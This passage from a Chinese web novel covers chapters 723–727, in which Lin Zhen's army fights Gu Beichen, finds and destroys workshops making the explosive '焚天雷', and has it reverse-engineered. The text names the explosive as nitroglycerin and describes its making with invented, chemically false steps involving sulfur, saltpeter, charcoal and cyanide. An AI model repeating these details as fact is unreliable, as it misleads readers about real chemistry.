“毛将军,石门绝不能失守!”楚惜灵厉声喝道! “明白!”毛梦极眼中凶光爆射,枯瘦的身影爆发出惊人的力量,长刀如同毒蛇吐信,瞬间刺穿一名黑袍护法的咽喉,鲜血喷溅,他猛地转身,扑向另一名试图靠近石门的护法。 “拦住他!”顾北辰冰冷的声音响起,如同来自九幽的寒风。 第723章 林臻负伤 数名南楚精锐死士如同鬼魅般扑向毛梦极,刀光如网,封死了他所有退路。 “滚开!”毛梦极怒吼,长刀狂舞,刀光如瀑,瞬间劈翻两名死士,但也被另外两人死死缠住,枯瘦的身影在刀光剑影中左冲右突,险象环生。 就在这时! “呜——!呜——!呜——!”更加雄浑、更加急促的号角声从营地东侧的山路上传来! 如同愤怒的龙吟!穿透了混乱的喊杀声! “援军,是殿下的援军!”营地内残存的士兵发出惊喜的呼喊! 只见东侧山路上,一条由无数火把组成的钢铁洪流,如同燃烧的巨龙,正以惊人的速度席卷而下! 当先一人,玄色蟠龙甲,猩红披风,手持蟠龙金剑,策马如飞! 正是林臻! 他身后,是数百名杀气腾腾的金吾卫重甲骑兵! 马蹄踏碎冰雪,如同雷霆轰鸣! 大地都在颤抖! “顾北辰——!!”林臻的声音如同惊雷炸响! 带着滔天的怒意和冰冷的杀机! 瞬间压过了所有的嘈杂! “纳命来——!!” “杀——!!”金吾卫重甲骑兵发出震天的怒吼,如同黑色的钢铁洪流,瞬间冲入混乱的战场,沉重的马蹄踏碎了南楚士兵的阵型,冰冷的枪锋洞穿了敌人的胸膛,所过之处,人仰马翻,血肉横飞,势不可挡! 顾北辰冰冷的眼眸中闪过一丝不易察觉的波动,但瞬间恢复平静。 他并未理会林臻的怒吼,目光依旧死死锁定着石门方向。 他猛地抬手,做了一个复杂的手势! “嗡——!”一声低沉诡异的嗡鸣响起,围攻毛梦极的数名黑袍护法同时后退一步,双手结印,口中咒语急促,一股无形的力场瞬间笼罩了石门区域。 “呃!”毛梦极只觉身体一沉,如同陷入泥沼,动作瞬间迟滞,连呼吸都变得困难。 “就是现在!”顾北辰冰冷的声音响起。 一名一直潜伏在阴影中、身形如同鬼魅般的黑袍人猛地窜出,速度快如闪电,直扑石门,他手中并无兵器,只有一根通体黝黑、顶端镶嵌着一颗幽蓝晶体的骨杖! 骨杖顶端,幽蓝光芒大盛! “拦住他!”毛梦极目眦欲裂,却无法挣脱力场束缚。 “砰!砰!砰!”神机营火枪手疯狂射击,但子弹射入那黑袍长老身前数尺,竟如同撞上无形的墙壁,纷纷弹开,溅起点点火星! “妖法!”橙萱惊呼! 黑袍长老无视一切,枯瘦的手掌猛地按在石门中央的火焰恶魔头像上,口中念念有词,骨杖顶端的幽蓝晶体爆发出刺目的光芒。 “嗡——!” 石门再次发出低沉的嗡鸣,那些浮雕符文再次亮起,赤焰魔瞳红光暴涨,沉重的石门……竟再次缓缓开启。 “不——!”毛梦极发出绝望的嘶吼。 黑袍长老身影一闪,如同鬼魅般掠入石门,消失在幽深的甬道之中。 “轰——!!”林臻策马冲入营地,蟠龙金剑化作一道金色的闪电,瞬间劈飞数名挡路的南楚士兵,他目光如电,瞬间锁定了顾北辰,也看到了那再次洞开的石门! “顾北辰,你找死!”林臻眼中杀机爆射,策马直冲顾北辰! “保护相爷!”数名南楚精锐死士悍不畏死地扑上。 “滚开!”林臻金剑横扫! 剑光如匹练,瞬间将两名死士拦腰斩断,鲜血喷溅, 顾北辰冷冷地看着冲来的林臻,青铜面具下的嘴角似乎勾起一抹冰冷的弧度。 他并未后退,只是缓缓抬起右手,掌心之中,不知何时多了一枚鸽蛋大小、通体黝黑、表面布满诡异符文的金属圆球,球内部,隐隐有暗红色的光芒流转。 “焚天雷?!”楚惜灵失声惊呼,声音充满了极致的恐惧。 “林臻!”顾北辰冰冷的声音响起,带着一丝戏谑和残忍,“想要这图?拿命来换!” 他猛地将手中的黑色圆球掷向指挥棚,目标正是案几上那幅巨大的圣火源流图拓片。 “不——!”楚惜灵、橙萱同时发出凄厉的尖叫。 林臻瞳孔骤然收缩,没有丝毫犹豫,他猛地一夹马腹,玄色乌骓发出一声长嘶,如同离弦之箭般冲向指挥棚,同时,他左手闪电般拔出腰间的燧发短铳。 “砰!砰!砰!”三声枪响几乎同时响起,三颗灼热的铅弹精准地射向那枚飞向拓图的黑色圆球! “轰——!!” 一声震耳欲聋的巨响,黑色圆球在半空中被铅弹击中,瞬间爆炸,恐怖的冲击波夹杂着炽热的火焰和锋利的金属碎片,如同风暴般席卷开来! “轰隆!”指挥棚的顶棚被瞬间掀飞,木梁断裂帐篷撕裂,案几被炸得粉碎,那幅巨大的圣火源流图拓片在爆炸的烈焰中化为漫天飞舞的碎片和灰烬。 “噗!”林臻被爆炸的气浪狠狠掀飞,重重摔在雪地上,喉头一甜,一口鲜血喷出! 玄色蟠龙甲上布满焦黑的痕迹和细小的伤口! “殿下!”橙萱惊呼,不顾一切地扑向林臻。 楚惜灵也被气浪掀翻在地,靛蓝工装上沾满灰烬,清冷的脸上带着绝望和茫然,看着那漫天飞舞的灰烬……拓图……毁了…… “撤!”顾北辰冰冷的声音响起,带着一丝遗憾,却无半分慌乱。 他深深地看了一眼被橙萱扶起的林臻,又瞥了一眼那洞开的石门,身形一晃,如同鬼魅般融入黑暗之中,南楚残兵和拜火教徒如同潮水般退去,消失在茫茫夜色之中,只留下满地狼藉、熊熊燃烧的火焰和遍地的尸体。 营地内一片死寂。只有火焰燃烧的噼啪声和伤者的呻吟声在夜风中飘荡。 空气中弥漫着浓烈的血腥味、焦糊味和硝烟气息。 “殿下!您没事吧?”橙萱声音带着哭腔,手忙脚乱地检查着林臻的伤势。 “无妨……”林臻抹去嘴角的血迹,挣扎着站起,目光扫过化为废墟的指挥棚和漫天飞舞的灰烬,眼中充满了冰冷的怒意和一丝挫败。 拓图……毁了! 才几年不见,顾北辰好狠的手段! “毛梦极!”林臻声音嘶哑。 “末将在!”毛梦极挣脱了力场束缚,枯瘦的脸上沾满血污,眼中燃烧着愤怒的火焰。 “清点伤亡!救治伤员!扑灭余火!” “是!” “灵儿!”林臻看向失魂落魄的楚惜灵。 “在……”楚惜灵声音虚弱。 “拓图可还有备份?” 楚惜灵眼中闪过一丝微光,随即黯淡下去:“主拓已毁……但臣在拓印时留了一份草图记录了关键标记和符文……只是细节不全……” 她从怀中掏出一卷被熏得焦黑的羊皮纸,上面用炭笔勾勒着圣火源流图的轮廓和部分关键标记。 “草图也好!”林臻眼中闪过一丝希望,“立刻整理,务必保存!” “是!” “石门!”林臻目光转向那再次洞开的石门,眼神冰冷,“里面的人还没出来?” “没有!”毛梦极眼中凶光一闪,“那妖人进去后……就再无声息!” “毛梦极带人进去,生要见人,死要见尸!” “末将遵命!”毛梦极枯瘦的身影带着几名悍卒,再次掠入那幽深、散发着不祥气息的石门甬道。 林臻站在废墟之上,玄色披风在夜风中猎猎作响。 他望着顾北辰消失的方向,眼中寒光闪烁。 拓图虽毁,但草图犹存。石门内的秘密,尚未揭晓。 顾北辰的阴谋,也远未结束。 这场阴山血战,只是拉开了更残酷、更诡谲的序幕。 北燕的惊雷,已化作燎原之火,焚天雷的阴影,将笼罩整个大乾。 第724章 神秘配方 毛梦极枯瘦的身影没入石门后的幽深甬道,如同被巨兽吞噬。 十名金吾卫悍卒紧随其后,火把光芒在狭窄通道内摇曳,将扭曲的石壁和地面上湿滑的苔藓映照得影影绰绰。 浓烈的硫磺、硝石混合着陈腐水汽的气息扑面而来,刺鼻且压抑。脚步声在死寂中回响,敲击着每个人的神经。 甬道不长,尽头豁然开朗。 火把光芒驱散黑暗,映照出一个巨大的天然溶洞。 洞顶垂挂的钟乳石滴落冰冷水珠,在下方漆黑的寒潭水面溅起涟漪。 寒潭对面,那扇刻满火焰恶魔浮雕的青石门扉已然洞开,门内景象让所有人瞳孔骤缩。 并非预想中的祭坛或神像,而是一个巨大的、人工开凿的工坊! 洞窟被改造成三层阶梯状平台。 最底层,数个巨大的石砌水池中浸泡着成堆的黑色矿石和赤红色石块,浑浊的液体散发刺鼻酸味。 粗大的竹制管道从寒潭引水,通过复杂的水车机构驱动石锤,反复捶打池中矿石。 中层平台,数个砖砌的拱形窑炉正在燃烧,炉口喷吐着炽热火焰。 工匠在皮鞭驱赶下,将粉碎的矿石与木炭分层填入炉中。 窑炉旁设有大型风箱,由水力驱动的连杆机构带动,向炉内鼓入强风。 上层平台最为惊人:数个由厚重陶土烧制、外覆铁箍的巨大密封容器通过陶管连接。 容器下方设有炭火加热,上方连接冷凝回收装置。 身穿厚革围裙、面覆湿布的工匠正小心翼翼地向容器内添加各种粉末,并通过观察孔调节火候。 空气弥漫着混合的刺鼻气味——硫磺的臭、硝石的涩、还有某种类似杏仁的苦味。 “这……这是……”一名金吾卫悍卒声音发颤,火把险些脱手。 眼前景象远超他们对冶炼的认知。 “焚天雷工坊。”毛梦极眼中凶光更盛,枯瘦手指紧握刀柄,“顾北辰这老狗竟在北燕腹地搞出这等阵仗!” “搜!活要见人!死要见尸!”毛梦极低喝。 悍卒分散搜索。 很快,在角落发现一具黑袍尸体——正是先前闯入的长老。 他仰面倒地,七窍流血,手中紧握那根黝黑短杖。 短杖顶端水晶碎裂,杖身焦黑,身旁散落着几个破裂的陶罐,罐内残留着黑色粘稠物和白色结晶粉末。 “像是……试药炸了?”悍卒猜测。 毛梦极蹲身检查,鼻尖微动:“苦杏仁味……剧毒!都别碰!” 他目光扫过尸体腰间,发现一个鼓胀的皮囊。 小心挑开,里面是几卷用油布包裹的羊皮纸。展开一看,上面用朱砂和墨笔绘制着复杂的符号、比例和流程图示。 “配方?”毛梦极眼中精光爆射!他虽不懂其中奥秘,但直觉告诉他,此物至关重要! “收好!速呈殿下!” ??...... 营地废墟上,余火已被扑灭,伤者得到救治。 林臻玄甲染血,披风焦灼,却依旧挺立如松。橙萱正为他手臂一道深可见骨的伤口包扎,动作轻柔,眼中含泪。 楚惜灵捧着那份焦黑羊皮草图,炭笔快速勾勒补充,清冷的脸上带着专注与急切。 “殿下!”毛梦极疾步奔来,单膝跪地,呈上皮囊,“石门内发现焚天雷工坊!黑袍长老试药爆体身亡!此物……疑似配方!” 林臻目光一凝,接过皮囊。 楚惜灵更是瞬间抬头,眼中爆发出惊人的光芒:“配方?!” 她几乎是抢过羊皮卷,迅速展开。 清冷的眼眸如同最精密的仪器,飞速扫过那些扭曲的符号、复杂的比例和流程图示。 她时而蹙眉沉思,时而恍然大悟,口中念念有词: “硫磺硝石比例竟如此之高远超黑火药。需用酸洗反复结晶提纯。去除杂质。木炭,非寻常炭粉,需特定木材,闷烧,研磨至极细,混合,需在低温潮湿环境,防止静电火花,容器必须绝对密封……加热温度梯度需精确控制,冷凝回收……这……这是分离某种……挥发性酸液?” “还有这黑色粘稠物……标注地火……煤矿焦油提纯物?白色结晶,苦杏仁味,是了!硝石与某种含氰矿物共热……生成剧毒氰化物?……不……不对……流程指向最终产物是一种无色油状液体,遇撞击或高温即爆?” 楚惜灵声音越来越快,带着难以置信的震惊和一丝恐惧:“殿下!这……这配方核心是一种极度敏感、威力恐怖的油状爆炸物!其制备涉及高纯度原料、精密温控、危险分离每一步都如同在刀尖上跳舞!稍有不慎粉身碎骨!那长老就是前车之鉴!” “威力比黑火药如何?”林臻声音低沉。 “十倍甚至百倍!”楚惜灵声音发颤,“若大规模制备……足以炸塌城墙!撕裂山体!” 难道是炸弹? 林臻眼神瞬间冰寒。 不可能,我都做不出来炸弹,他顾北辰怎么可能? “报——!”一名金吾卫斥候踉跄冲来,脸色惨白,“禀殿下!谷外发现大批南楚军队,打着顾北辰旗号,正在正在挖掘壕沟,架设投石机!” “什么?!”众人色变! 顾北辰去而复返? “他想干什么?强攻?”毛梦极眼中凶光爆射。 “不……”楚惜灵猛地看向石门方向,又看向手中配方,清冷的脸上血色尽褪,“他不是要强攻,他是要毁掉这里,毁掉所有证据,连同我们一起埋葬!” 仿佛印证她的话! “轰隆——!” 一声沉闷的巨响从石门方向传来! 整个山体都为之震颤! 碎石簌簌落下! “怎么回事?”林臻厉喝。 “报——!”一名浑身烟尘的悍卒从甬道冲出,声音嘶哑,“石门内部工坊爆炸了,不是炉子是埋设的机关,那长老尸体是诱饵,他身下连着机括,我们一动配方就……就触发了!” “轰隆——!” 又一声更剧烈的爆炸! 地面剧烈摇晃! 甬道口烟尘弥漫! 碎石崩落! “快撤!甬道要塌了!”悍卒嘶吼。 “是沼气!”楚惜灵失声,“工坊废水池,粪便堆积定是产生了大量沼气!顾北辰他早埋设了火种机关,一旦触发引燃沼气,连环爆炸!” “轰——!轰——!轰——!!” 连环爆炸如同地龙翻身! 山崩地裂! 巨大的气浪裹挟着火焰、碎石和有毒气体从甬道口喷涌而出! 靠近甬道的数名金吾卫瞬间被吞噬! 惨叫声淹没在轰鸣中! “保护殿下!撤!”毛梦极目眦欲裂,枯瘦身影挡在林臻身前! “撤!全体撤离山谷!”林臻当机立断! 声音穿透爆炸轰鸣! 营地瞬间大乱! 士兵搀扶伤员,丢弃辎重,向谷外狂奔! 身后,爆炸声连绵不绝! 山石崩落! 烟尘冲天! 整个断魂谷如同沸腾的熔炉! 顾北辰的毒计,竟是以整个工坊和山谷为坟场,要将林臻和所有秘密一同埋葬! ?? 第725章 我都造不出来 当林臻率残部冲出谷口,眼前景象更让人心沉。 谷外开阔地,一支森严的南楚军阵已列队完毕! 人数数千,刀枪如林,旌旗猎猎,中军高台之上,顾北辰紫袍面具,负手而立,冰冷的目光穿透烟尘,落在狼狈的林臻身上。 军阵前方,数十架巨大的配重投石机已装填完毕,燃烧的火油罐在寒风中噼啪作响! 更远处,还有数架结构更复杂、带有金属导轨和绞盘的重型床弩! 弩箭粗如儿臂,箭头闪烁着幽蓝光芒! “林臻,”顾北辰冰冷的声音借助铜制扩音筒传来,清晰刺耳,“阴山风景可好?这份‘厚葬’之礼,可还满意?” 林臻抹去脸上烟尘,玄甲破损,却依旧挺直脊梁,目光如电:“顾北辰!你这藏头露尾的鼠辈!只会使些下作手段!” “下作?”顾北辰声音带着讥讽,“成王败寇!焚天雷之秘岂容他人染指?今日这断魂谷,便是你林世子的埋骨之地!” 他缓缓抬手! “投石机!放!” “嘎吱——轰!”巨大的配重落下!燃烧的火油罐如同流星般划破天际! 狠狠砸向谷口! “床弩!射!” “嘣——嘣——嘣!”弓弦雷鸣,粗大的毒弩撕裂空气,直射林臻中军。 “盾阵!”毛梦极嘶吼! “轰!轰!轰!”火油罐砸落,烈焰腾空,毒弩贯穿塔盾,士兵惨叫着倒下! “神机营!压制!”橙萱厉喝。 “砰!砰!砰!”火枪齐射,压制南楚弓弩手。 “骑兵!两翼包抄!冲垮投石机!”林臻金剑前指。 “杀——!”金吾卫重骑怒吼冲锋,铁蹄踏碎冰雪。 “哼,困兽犹斗!”顾北辰冷笑,“变阵,长枪拒马,弓弩覆盖。” 南楚军阵迅速变换,前排竖起密密麻麻的长枪拒马,后排弓弩手箭如雨下! “噗噗噗——”冲锋的骑兵如同撞上钢铁荆棘,人仰马翻,惨烈无比。 “林臻,今日你插翅难逃!”顾北辰声音冰冷,“此地……便是北燕惊雷……最后的绝响!” 林臻看着浴血奋战的将士,看着谷内仍在持续的爆炸和崩塌,看着顾北辰那张冰冷的青铜面具,眼中寒光凝聚如实质。 他猛地从怀中掏出那份羊皮草图……和毛梦极带回的配方残卷! “灵儿!”林臻声音低沉如铁。 “夫君!”楚惜灵清冷的脸上沾满烟灰,眼神却异常明亮。 “此图……此配方……可能逆推?” 楚惜灵目光扫过草图关键标记和配方残卷,脑中无数符号、比例、流程飞速组合推演…… “黑水死泽……永恒火狱……高硫……高硝……酸洗……氰化……油状……遇撞即爆……”她猛地抬头,眼中闪过一丝决绝:“夫君,顾北辰所用爆燃物核心定是此‘油状物’。此物畏火,畏撞,运输存储必用特殊容器,且需远离火源,其主力必在后方!” 她指向草图上一处标记:“‘永恒火狱’,若妾身推测无误,此乃其原料存储或转运中枢,若毁此处断其根基!” 林臻眼中精光爆射!绝境之中,一线生机! “毛梦极!” “末将在!” “给你一百死士!换南楚衣甲,趁乱混入敌阵,目标——‘永恒火狱’,找到其辎重,用火油,用炸药,给我烧光,炸光!” “末将领命!”毛梦极眼中凶光炽盛,舔了舔干裂的嘴唇,如同嗅到血腥的饿狼。 “橙萱!” “在!” “传令全军,死守谷口,为毛将军争取时间!” “是!” “灵儿!” “在!” “立刻解析配方,找出此‘油状物’弱点,或仿制之法!” “是!” 林臻玄甲染血,金剑指天,声音如同惊雷,响彻战场: “将士们!顾北辰欲绝我等于此,然天不亡我,破敌之机在此一举,死守谷口,待毛将军功成,随我杀出重围,诛杀国贼!” “杀——!!”震天的怒吼响彻云霄,绝境中的将士,爆发出最后的血勇。 ...... 黑风坳,阴山支脉深处。 三面陡峭山崖环抱,仅一狭窄谷口出入,地势险恶。 谷内灯火通明,人声鼎沸,俨然一座巨大的露天工坊。 外围是森严的南楚军营寨,巡逻队穿梭不息。 谷内核心区域,数十座巨大的仓库存放如山煤矿、硫磺、硝石。更深处,数排砖窑日夜燃烧,浓烟滚滚,负责原料粗加工。 核心中的核心,是十座由巨石垒砌、守卫森严的“地堡”! 地堡入口厚重铁门紧闭,仅有狭窄气孔,内部存储着已提纯的半成品和……成罐的“油状物”焚天雷核心! 毛梦极率死士如同壁虎,紧贴冰冷岩壁,在风雪和夜色掩护下,绕开外围哨卡,潜入谷口上方悬崖。寒风如刀,冻得人手脚麻木。 下方谷内景象尽收眼底。 “将军,守卫太严,硬闯必死啊。”一名悍卒低语。 “硬闯?蠢!”毛梦极眼中凶光一闪,枯瘦手指指向谷内纵横交错的引水渠和堆满谷底的煤堆木料,“看见那些引水竹管了吗?还有那些煤堆都是上好的引火物!” 他压低声音,快速部署:“一队摸到上风口,点燃煤堆,制造混乱,二队潜入水渠,破坏闸门,引水冲垮工坊,三队随我直取地堡,用炸药,送那些罐子上天!” “是!”死士眼中燃起疯狂火焰。 行动开始。一队死士如同狸猫,潜至上风口煤堆旁。火折引燃浸透火油的布团,投入煤堆缝隙。寒风助燃,黑烟腾起,火苗迅速蹿升! “走水了——!” “快救火——!” 谷内瞬间大乱,南楚士兵惊呼救火,人群涌向煤堆。 “轰隆——!”二队死士同时炸开水渠上游石闸! 积蓄的雪水如同脱缰野马,冲垮渠岸,咆哮着冲入谷底工坊! 水流裹挟着煤渣、木料、工具,冲垮砖窑,淹没库房! 惨叫声、惊呼声、水流轰鸣声交织! “敌袭——!”守卫终于反应过来,警哨凄厉! “杀——!”毛梦极眼中凶光爆射!枯瘦身影如同鬼魅,率三队死士从悬崖直扑而下!目标——地堡! “拦住他们!”南楚守将怒吼!弓弩手调转方向! “噗噗噗——”箭雨袭来!数名死士中箭倒地! “冲!”毛梦极怒吼,长刀挥舞格挡箭矢,身形诡异闪动,直扑最近的地堡铁门!身后死士点燃炸药包,悍不畏死冲向铁门! “轰——!!”一声巨响!铁门扭曲变形!硝烟弥漫! “再来!”毛梦极嘶吼! “轰——!!”第二包炸药!铁门轰然洞开! 地堡内景象让毛梦极瞳孔骤缩!密密麻麻的特制陶罐整齐码放! 罐体黝黑,外裹湿泥,内衬隐约可见水银光泽,正是存储“油状物”的焚天雷核心! “火油,扔!”毛梦极厉喝! 死士将浸透火油的布团点燃,狠狠掷入地堡。 “轰——”烈焰瞬间升腾!高温引燃罐体。 “不——”赶来的南楚守将目眦欲裂。 “轰轰轰轰——” 连环爆炸,如同火山喷发,地堡在恐怖的爆炸中化为齑粉,炽热的火焰夹杂着致命的冲击波和碎片横扫四周,邻近地堡被波及,连锁爆炸,整个黑风坳核心区化为一片火海,浓烟滚滚,直冲云霄,火光映红半边天际,如同末日降临! “撤!”毛梦极枯瘦脸上沾满血污烟灰,眼中却闪烁着残忍的快意。 他毫不恋战,率残存死士趁乱遁入风雪,消失无踪。 ??...... 黑风坳冲天的火光和滚滚浓烟,如同黑夜中的灯塔,即便相隔数十里,断魂谷口亦清晰可见。 “成了!”林臻眼中精光爆射,疲惫伤痛一扫而空,蟠龙金剑高举。 “将士们!毛将军功成,焚雷司已毁,随我杀出重围,诛杀国贼!” “杀——!!”绝境中的金吾卫残部爆发出震天的怒吼! 如同沉睡的雄狮苏醒! “神机营所有弹药覆盖射击,压制弓弩。” “砰!砰!砰!砰——”残存火枪手将最后弹药倾泻而出! “金吾卫,锋矢阵随我冲锋!”林臻一马当先! 玄色乌骓长嘶,如同离弦之箭冲向敌阵! “杀——!”残存金吾卫重骑紧随其后,铁蹄踏碎冰雪,长枪如林,带着决死的意志,狠狠撞向南楚军阵。 第726章 他顾北辰凭什么 南楚军阵因后方火光陷入短暂混乱。 顾北辰青铜面具下的脸色阴沉如水,眼中闪过一丝难以置信的惊怒。 “黑风坳……怎么可能……” “挡住他们!”顾北辰厉喝。 但为时已晚,林臻的金剑如同死神的镰刀,所过之处人仰马翻,金吾卫重骑的决死冲锋,如同烧红的尖刀刺入黄油,瞬间撕裂了南楚军阵。 “保护相爷!”亲卫簇拥顾北辰后撤。 “顾北辰,哪里走!”林臻目光如电,锁定那道紫袍身影,策马狂追。 “拦住他!”南楚死士拼死拦截! “滚开!”林臻金剑狂舞,剑气纵横,血光飞溅,无人能挡其锋芒。 眼看就要追上! “嗖——!”一支淬毒弩箭从侧面阴影中射出,直取林臻后心。 “殿下小心!”橙萱惊呼,飞身扑上! “噗嗤!”弩箭贯穿橙萱左肩,鲜血瞬间染红衣襟。 “橙萱!”林臻目眦欲裂,回身一剑劈飞偷袭者。 “殿下……快追……”橙萱脸色惨白,咬牙道。 林臻深深看了她一眼,猛夹马腹,乌骓如电射出,直扑顾北辰车驾。 “保护相爷!”车驾旁,一名黑袍长老眼中凶光一闪,猛地从怀中掏出一枚黝黑金属球,正是焚天雷核心。 “一起死吧!”长老面容扭曲,扑向林臻。 “找死!”林臻金剑如电,一道寒光闪过。 “噗嗤!”长老头颅冲天而起,手中金属球脱手飞出。 “不——”顾北辰失声。 金属球划过一道弧线,砸在顾北辰车驾旁护卫的马匹上! “轰——!!” 震天巨响,护卫连人带马被炸成碎片,炽热的气浪将顾北辰车驾狠狠掀翻,拉车的骏马惊嘶狂奔,车厢翻滚,顾北辰紫袍身影被甩出车厢,重重摔在雪地上,青铜面具碎裂,露出一张苍白、阴鸷、布满惊骇的中年面孔! “保护相爷!”残存亲卫拼死拖起顾北辰,仓惶遁入黑暗山林。 林臻勒住战马,看着顾北辰狼狈遁逃的方向,眼中寒光闪烁,却未再追。 穷寇莫追,且谷口残军需他坐镇。 “清点战场,救治伤员。”林臻声音低沉,带着胜利的疲惫。 “殿下,楚夫人……她……”一名亲卫急报。 林臻策马回奔。 谷口,楚惜灵在两名亲卫搀扶下站立,手中紧握着一张写满符号和比例的羊皮纸,清冷的脸上带着一丝虚弱的兴奋。 “夫君,成了,逆推成功了,关键是温度控制和混合顺序还有一种稳定剂”她声音虚弱,却充满力量,“焚天雷我们也能造!” 风雪渐歇。 东方天际,一抹鱼肚白刺破厚重的铅云。 断魂谷口的硝烟尚未散尽,焦土与鲜血浸染的雪原上,幸存的将士相互搀扶,望向天边那缕微光。 阴山的惊雷,终在血火中炸响,撕裂了黑暗。 焚天雷的阴影并未消散,但它的秘密,已紧握手中。 ...... 断魂谷口的硝烟在凛冽寒风中缓缓飘散,如同垂死巨兽最后的喘息。 焦黑的土地、凝固的血冰、破碎的兵甲、散落的残肢断臂,在惨淡的晨光下铺陈开来,构成一幅无声的残酷画卷。 空气中弥漫着浓重到化不开的血腥、焦糊和硫磺硝石的混合气息,刺鼻而压抑。 幸存的将士相互搀扶,沉默地清理着战场,收敛袍泽的遗骸,麻木的脸上刻满疲惫与劫后余生的茫然。 林臻玄甲残破,蟠龙金剑拄地,支撑着身体。 左肩至肋下的伤口虽经橙萱紧急包扎,依旧隐隐作痛,每一次呼吸都牵扯着撕裂般的痛楚。 他脸色苍白,嘴唇干裂,但那双深邃的眼眸却锐利如初,沉静地扫视着这片染血的焦土。 橙萱左肩缠着厚厚的渗血布带,脸色同样苍白,却倔强地侍立一旁,清丽的眼眸中残留着后怕,更多是坚定。 楚惜灵在两名亲卫搀扶下,靛蓝工装沾满灰烬血污,左臂吊在胸前,右手却紧紧攥着那张写满符号比例的羊皮纸,清冷的脸上带着虚弱的兴奋和难以掩饰的专注。 “伤亡清点如何。”林臻声音低沉沙哑,打破死寂。 毛梦极枯瘦的身影从尸骸堆中走出,脸上刀疤在晨光下更显狰狞,甲胄破碎,浑身浴血,眼神却凶戾如受伤的孤狼。 “禀殿下,金吾卫阵亡三百二十七人,重伤一百八十五人,轻伤不计。神机营阵亡四十一人,重伤二十三人,边军阵亡四百六十六人,重伤二百零九人,荡寇营十不存三” 他声音嘶哑,带着压抑的怒火,“南楚军遗尸千余,俘获不足百人,多为伤重未死者。” “厚葬阵亡将士,抚恤加倍,重伤者不惜代价救治,阵亡者家眷官府赡养终身,子女入蒙学堂,费用全免,立‘英烈祠’于燕京西山,刻碑铭记受万世香火。”林臻声音平静,却字字千钧。 “末将遵命。”毛梦极躬身,枯瘦的手指捏得骨节发白。 “顾北辰……”林臻目光转向西北山林。 “已派猎隼营精锐斥候,循血迹追踪遁入阴山深处鬼哭岭,那里地形险恶,瘴气弥漫,恐有埋伏,未敢深入”毛梦极眼中凶光一闪,“给末将三日,定提其首级来见。” “不急。”林臻微微摇头,“穷寇莫追,鬼哭岭乃赫连豹残部巢穴,顾北辰必与其勾结,已成困兽,传令封锁鬼哭岭所有出口,设卡盘查,断其粮道,困死他们。” “是。”毛梦极虽有不甘,仍躬身领命。 “灵儿。”林臻目光转向她手中羊皮纸。 “夫君……”楚惜灵声音虚弱却清晰,“此‘油状物’核心确为高纯度硝化甘油,制备之法凶险万分,需极纯硫磺、硝石经多重酸洗、结晶、蒸馏,混合特定比例木炭粉及一种稳定剂方可稍减其敏,然运输存储依旧极度危险,撞击、摩擦、高温、静电皆可致爆。” 她顿了顿,眼中闪过一丝光芒:“然其威力远超黑火药十倍不止,若能掌控筑城开山无往不利,亦可制新式火器。” “可能仿制?”林臻声音低沉。 “需专用工坊,远离人烟,深埋地下,防爆设计,精研流程反复试验,非朝夕之功。” 楚惜灵声音带着凝重,“且顾北辰既已掌握,恐不止一处工坊。” “黑风坳已毁……”毛梦极插言。 “永恒火狱恐非唯一”楚惜灵指向羊皮草图,“此图标记不止一处。” “重建焚雷司……”林臻目光沉静,“选址西山更深处,由你全权负责,所需人手、物资优先调拨,不惜代价一年之内我要见到成品。” “妾身领命。”楚惜灵郑重应道,眼中燃烧起挑战的火焰。 ?? 第727章 准备突袭 半月后,燕京行辕正殿。 肃穆依旧,却难掩战后萧索。 蟠龙柱上素白绸带未除,地面金砖光洁如镜,映照着稀疏的人影。 林臻端坐主位,玄色蟠龙常服遮掩了伤势,脸色依旧苍白,眼神却深邃如渊。 殿下,萧寒舟、毛梦极、楚惜灵、橙萱及各部官员肃立。 “殿下,”萧寒舟手持卷宗,声音沉稳,“断魂谷、黑风坳两役,我军虽胜然伤亡惨重,抚恤、重建耗资巨大,府库已近空虚。” “加征商税三成。”一名户部官员提议。 “不可!”萧寒舟断然否决,“北燕初定,民生凋敝,商路方通,加税无异杀鸡取卵恐生民变。” “那如何填补亏空?”官员面露难色。 “开源节流……”林臻声音平静,“传令裁撤冗余官吏三成,削减宫廷用度五成暂停非紧急工程……另开放‘北燕煤’、‘赤铁矿’专营权,招晋商、徽商竞标,价高者得所得银钱七成入府库三成抚恤阵亡将士家眷。” “殿下圣明!”萧寒舟躬身。 “新政推行如何。”林臻目光扫过众酋长代表(酋长本人已被要求回部落坐镇)。 秃鹫部使者连忙上前:“回殿下,兀良合台酋长已按令清点部众三万七千口,草场八百里,牛羊二十万头,造册呈报流官已入驻。” 雪狼部、风隼部使者亦连忙呈报,数据详实,态度恭谨。 “白鹿、苍鹰、火狐三部遗民安置如何。”林臻问道。 “回殿下”萧寒舟道,“三部遗民约五万口已打散安置于燕京周边屯田,授田免税三年,流官统辖,然仍有小股残匪流窜阴山与赫连豹、顾北辰残部勾结,袭扰商队,劫掠村落。” “毛梦极。” “末将在!” “着你统率‘靖边营’清剿阴山匪患,凡有通匪、资匪者杀无赦,悬首寨门。” “末将领命!”毛梦极眼中凶光一闪。 “另……”林臻声音转冷,“传谕各部凡有隐匿人口、私扩草场、抗拒流官者一经查实,视同谋逆,灭族悬首,勿谓言之不预。” “臣等遵命!”众使者噤若寒蝉,连声应诺。 ??...... 西山更深处,人迹罕至的“断龙崖”下。 巨大的天然岩洞被人工开凿拓展,形成一座深入山腹的庞大地下工坊。 岩壁镶嵌着密集的萤石,发出幽绿冷光,混合着鲸油火把的跳跃光芒,照亮了这片与世隔绝的“深渊”。 空气流通依靠隐蔽的通风管道,带着山风的凛冽和一丝不易察觉的硫磺气息。 楚惜灵左臂吊着绷带,靛蓝工装外罩着厚实的皮围裙,脸上戴着特制的琉璃护目镜和浸药面罩,清冷的眼眸在幽光下锐利如鹰。 她站在一处高台,俯瞰下方如同蚁巢般忙碌的景象。 最底层,巨大的水车在暗河驱动下隆隆运转,带动沉重的石锤,反复捶打矿石。 酸洗池中,浓烈的白雾升腾,工匠身着厚革围裙、面覆湿布,小心翼翼地将粉碎的矿石投入池中。 中层,数座特制的、带有双层陶壁和循环水冷系统的密封窑炉正在煅烧,炉温由精密的铜制温度计监控。 蒸馏塔林立,陶管蜿蜒,冷凝器滴落着提纯的液体。 最核心区域,远离其他工坊,深埋于独立岩洞中的“合成区”。 厚重的铅门紧闭,门外设有沙池、水缸。 内部,工匠操作着特制的、带有铜制搅拌桨和冰水夹层的陶制反应釜,通过观察孔谨慎添加原料,动作轻缓如履薄冰。 所有工匠严禁携带金属器物,地面铺设导静电铜网,进入者需赤脚、着棉衣,以木制工具操作。 